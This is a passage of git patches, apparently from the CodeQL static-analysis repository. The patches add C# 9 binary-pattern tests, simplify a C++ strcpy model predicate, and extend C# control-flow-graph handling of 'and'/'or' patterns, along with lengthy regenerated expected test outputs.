b/csharp/ql/test/library-tests/csharp9/binaryPattern.ql new file mode 100644 index 00000000000..34ec78f2f8a --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/binaryPattern.ql @@ -0,0 +1,4 @@ +import csharp + +from BinaryPatternExpr pattern +select pattern, pattern.getLeftOperand(), pattern.getRightOperand() diff --git a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected index e661db79eb2..eaa1dd96db1 100644 --- a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected +++ b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected @@ -1,4 +1,5 @@ | AnonymousObjectCreation.cs:9:29:9:31 | set_Prop1 | set | +| BinaryPattern.cs:5:26:5:28 | set_P1 | set | | InitOnlyProperty.cs:12:42:12:45 | set_Prop0 | init | | InitOnlyProperty.cs:13:37:13:40 | set_Prop1 | init | | InitOnlyProperty.cs:14:37:14:39 | set_Prop2 | set | diff --git a/csharp/ql/test/library-tests/csharp9/typePattern.expected b/csharp/ql/test/library-tests/csharp9/typePattern.expected index 91b8f2c1afc..80e68eb37ff 100644 --- a/csharp/ql/test/library-tests/csharp9/typePattern.expected +++ b/csharp/ql/test/library-tests/csharp9/typePattern.expected @@ -1,3 +1,6 @@ +| BinaryPattern.cs:10:14:10:21 | Object o | Object | +| BinaryPattern.cs:12:14:12:21 | Object o | Object | +| BinaryPattern.cs:12:27:12:41 | BinaryPattern u | BinaryPattern | | ParenthesizedPattern.cs:25:13:25:15 | T t | T | | ParenthesizedPattern.cs:26:14:26:22 | Object o1 | Object | | ParenthesizedPattern.cs:27:14:27:19 | access to type String | String | From 3604557e62005d6f58a8743bcbe7d763e9e9a34f Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 11:47:45 +0100 Subject: [PATCH 0850/1241] C++: Remove linear scan in isSVariant. --- cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll index 061209d65b7..c4332c3ef5c 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll @@ -40,9 +40,7 @@ class StrcpyFunction extends ArrayFunction, DataFlowFunction, TaintFunction, Sid /** * Holds if this is one of the `strcpy_s` variants. */ - private predicate isSVariant() { - exists(string name | name = getName() | name.suffix(name.length() - 2) = "_s") - } + private predicate isSVariant() { getName().matches("%\\_s") } /** * Gets the index of the parameter that is the maximum size of the copy (in characters). From e24e5b13f57e5ae769a01b5b77e4e59b929f6c18 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 26 Jan 2021 15:11:47 +0100 Subject: [PATCH 0851/1241] C#: Improve CFG to handle 'and' and 'or' patterns --- .../controlflow/internal/Completion.qll | 2 + .../internal/ControlFlowGraphImpl.qll | 54 ++++- .../csharp/controlflow/internal/Splitting.qll | 6 + .../ql/src/semmle/code/csharp/exprs/Expr.qll | 3 + .../controlflow/graph/BasicBlock.expected | 22 +++ .../controlflow/graph/Condition.expected | 44 +++++ .../controlflow/graph/Dominance.expected | 186 ++++++++++++++++++ .../graph/EnclosingCallable.expected | 52 +++++ .../controlflow/graph/EntryElement.expected | 18 ++ .../controlflow/graph/ExitElement.expected | 28 +++ .../controlflow/graph/NodeGraph.expected | 32 +++ .../controlflow/graph/Nodes.expected | 2 + .../controlflow/graph/Patterns.cs | 4 + 13 files changed, 452 insertions(+), 1 deletion(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll index bdd8286818b..7095d8995a6 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll @@ -552,6 +552,8 @@ private predicate mustHaveMatchingCompletion(Expr e, PatternExpr pe) { pe = any(IsExpr ie | inBooleanContext(ie) and e = ie.getExpr()).getPattern() or pe = any(UnaryPatternExpr upe | mustHaveMatchingCompletion(e, upe)).getPattern() + or + pe = any(BinaryPatternExpr bpe | mustHaveMatchingCompletion(e, bpe)).getAnOperand() } /** diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index fe898cb509b..9df98338895 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -360,7 +360,9 @@ module Expressions { not this instanceof SwitchExpr and not this instanceof SwitchCaseExpr and not this instanceof ConstructorInitializer and - not this instanceof NotPatternExpr + not this instanceof NotPatternExpr and + not this instanceof OrPatternExpr and + not this instanceof AndPatternExpr } final override ControlFlowElement getChildElement(int i) { result = getExprChild(this, i) } @@ -902,6 +904,56 @@ module Expressions { c instanceof NormalCompletion } } + + private class AndPatternExprTree extends PostOrderTree, AndPatternExpr { + final override predicate propagatesAbnormal(ControlFlowElement child) { + child = this.getAnOperand() + } + + final override predicate first(ControlFlowElement first) { first(this.getLeftOperand(), first) } + + final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { + // Flow from last element of left operand to first element of right operand + last(this.getLeftOperand(), pred, c) and + c.(MatchingCompletion).getValue() = true and + first(this.getRightOperand(), succ) + or + // Post-order: flow from last element of left operand to element itself + last(this.getLeftOperand(), pred, c) and + c.(MatchingCompletion).getValue() = false and + succ = this + or + // Post-order: flow from last element of right operand to element itself + last(this.getRightOperand(), pred, c) and + c instanceof MatchingCompletion and + succ = this + } + } + + private class OrPatternExprTree extends PostOrderTree, OrPatternExpr { + final override predicate propagatesAbnormal(ControlFlowElement child) { + child = this.getAnOperand() + } + + final override predicate first(ControlFlowElement first) { first(this.getLeftOperand(), first) } + + final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { + // Flow from last element of left operand to first element of right operand + last(this.getLeftOperand(), pred, c) and + c.(MatchingCompletion).getValue() = false and + first(this.getRightOperand(), succ) + or + // Post-order: flow from last element of left operand to element itself + last(this.getLeftOperand(), pred, c) and + c.(MatchingCompletion).getValue() = true and + succ = this + or + // Post-order: flow from last element of right operand to element itself + last(this.getRightOperand(), pred, c) and + c instanceof MatchingCompletion and + succ = this + } + } } module Statements { diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index a1d9bc249d7..60389cbce7c 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -471,6 +471,12 @@ module ConditionalCompletionSplitting { or last(succ.(IsExpr).getPattern(), pred, c) and completion.(BooleanCompletion).getValue() = c.(MatchingCompletion).getValue() + or + last(succ.(AndPatternExpr).getAnOperand(), pred, c) and + completion = c + or + last(succ.(OrPatternExpr).getAnOperand(), pred, c) and + completion = c ) } diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index a025b80dfea..925e6f372ec 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -509,6 +509,9 @@ class NotPatternExpr extends UnaryPatternExpr, @not_pattern_expr { /** A binary pattern. For example, `1 or 2`. */ class BinaryPatternExpr extends PatternExpr, @binary_pattern_expr { + /** Gets a pattern. */ + PatternExpr getAnOperand() { result = getLeftOperand() or result = getRightOperand() } + /** Gets the left pattern. */ PatternExpr getLeftOperand() { result = this.getChild(0) } diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 9f6d9b2e435..8b9d597e742 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -983,6 +983,28 @@ | Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:13:80:20 | ... => ... | 2 | | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | 1 | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:20 | ... => ... | 2 | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:44:85:44 | 1 | 3 | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:39:85:53 | [false] ... is ... | 1 | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:39:85:53 | [true] ... is ... | 1 | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:26:85:27 | exit M8 | 3 | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:44:85:53 | [match] ... or ... | 1 | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | 1 | +| Patterns.cs:85:49:85:53 | [match] not ... | Patterns.cs:85:49:85:53 | [match] not ... | 1 | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:49:85:53 | [no-match] not ... | 1 | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:53:85:53 | 2 | 1 | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:57:85:63 | "not 2" | 1 | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:67:85:69 | "2" | 1 | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:44:87:44 | 1 | 3 | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:39:87:54 | [false] ... is ... | 1 | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:39:87:54 | [true] ... is ... | 1 | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:26:87:27 | exit M9 | 3 | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:44:87:54 | [match] ... and ... | 1 | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | 1 | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:50:87:54 | [match] not ... | 1 | +| Patterns.cs:87:50:87:54 | [no-match] not ... | Patterns.cs:87:50:87:54 | [no-match] not ... | 1 | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:54:87:54 | 2 | 1 | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:58:87:60 | "1" | 1 | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:64:87:70 | "not 1" | 1 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | exit M1 | 7 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:18:12:21 | null | 5 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | exit M2 | 2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index dd27492a1cb..db0dabaddbf 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1890,6 +1890,46 @@ conditionBlock | Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:13:81:13 | _ | false | | Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:18:81:20 | "0" | false | | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | true | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:39:85:53 | [false] ... is ... | false | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:44:85:53 | [no-match] ... or ... | false | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:49:85:53 | [match] not ... | false | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:49:85:53 | [no-match] not ... | false | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:53:85:53 | 2 | false | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:67:85:69 | "2" | false | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:67:85:69 | "2" | false | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:57:85:63 | "not 2" | true | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:39:85:53 | [true] ... is ... | true | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:57:85:63 | "not 2" | true | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:39:85:53 | [false] ... is ... | false | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:67:85:69 | "2" | false | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:39:85:53 | [false] ... is ... | false | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | false | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:67:85:69 | "2" | false | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:39:85:53 | [false] ... is ... | true | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:44:85:53 | [no-match] ... or ... | true | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [match] not ... | false | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [no-match] not ... | true | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:67:85:69 | "2" | true | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:39:87:54 | [true] ... is ... | true | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:44:87:54 | [match] ... and ... | true | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:50:87:54 | [match] not ... | true | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:50:87:54 | [no-match] not ... | true | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:54:87:54 | 2 | true | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:58:87:60 | "1" | true | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:64:87:70 | "not 1" | false | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:58:87:60 | "1" | true | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:39:87:54 | [true] ... is ... | true | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:58:87:60 | "1" | true | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:39:87:54 | [false] ... is ... | false | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:64:87:70 | "not 1" | false | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:39:87:54 | [true] ... is ... | true | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:44:87:54 | [match] ... and ... | true | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:58:87:60 | "1" | true | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:39:87:54 | [true] ... is ... | false | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:44:87:54 | [match] ... and ... | false | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [match] not ... | false | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [no-match] not ... | true | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:58:87:60 | "1" | false | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [false] ... is ... | false | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [true] ... is ... | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:13:13:13:19 | return ...; | true | @@ -2798,6 +2838,10 @@ conditionFlow | Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:27:13:27:24 | case ...: | false | | Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | false | | Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | true | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:67:85:69 | "2" | false | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:57:85:63 | "not 2" | true | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:64:87:70 | "not 1" | false | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:58:87:60 | "1" | true | | PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:14:9:14:29 | ...; | false | | PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:13:13:13:19 | return ...; | true | | PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:21:9:21:29 | ...; | false | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index 3478769558b..748f67a9bb7 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -3207,6 +3207,32 @@ dominance | Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:13:80:20 | ... => ... | | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:20 | ... => ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:39:85:39 | access to parameter i | +| Patterns.cs:85:26:85:27 | exit M8 (normal) | Patterns.cs:85:26:85:27 | exit M8 | +| Patterns.cs:85:39:85:39 | access to parameter i | Patterns.cs:85:44:85:44 | 1 | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:26:85:27 | exit M8 (normal) | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:39:87:39 | access to parameter i | +| Patterns.cs:87:26:87:27 | exit M9 (normal) | Patterns.cs:87:26:87:27 | exit M9 | +| Patterns.cs:87:39:87:39 | access to parameter i | Patterns.cs:87:44:87:44 | 1 | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:64:87:70 | "not 1" | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:26:87:27 | exit M9 (normal) | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [no-match] not ... | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | exit M1 | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:29 | ...; | @@ -7226,6 +7252,30 @@ postDominance | Patterns.cs:80:13:80:20 | ... => ... | Patterns.cs:80:18:80:20 | "1" | | Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:81:18:81:20 | "0" | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:85:26:85:27 | exit M8 | Patterns.cs:85:26:85:27 | exit M8 (normal) | +| Patterns.cs:85:26:85:27 | exit M8 (normal) | Patterns.cs:85:39:85:69 | ... ? ... : ... | +| Patterns.cs:85:39:85:39 | access to parameter i | Patterns.cs:85:26:85:27 | enter M8 | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:39:85:39 | access to parameter i | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:87:26:87:27 | exit M9 | Patterns.cs:87:26:87:27 | exit M9 (normal) | +| Patterns.cs:87:26:87:27 | exit M9 (normal) | Patterns.cs:87:39:87:70 | ... ? ... : ... | +| Patterns.cs:87:39:87:39 | access to parameter i | Patterns.cs:87:26:87:27 | enter M9 | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:64:87:70 | "not 1" | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:39:87:39 | access to parameter i | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:39:87:54 | [false] ... is ... | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | exit M1 (normal) | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:7:9:7:28 | call to method WriteLine | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:5:10:5:11 | enter M1 | @@ -11771,6 +11821,76 @@ blockDominance | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:26:85:27 | enter M8 | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:39:85:69 | ... ? ... : ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:39:85:69 | ... ? ... : ... | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:49:85:53 | [match] not ... | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:26:87:27 | enter M9 | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:39:87:70 | ... ? ... : ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:64:87:70 | "not 1" | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:64:87:70 | "not 1" | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:39:87:70 | ... ? ... : ... | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:44:87:54 | [match] ... 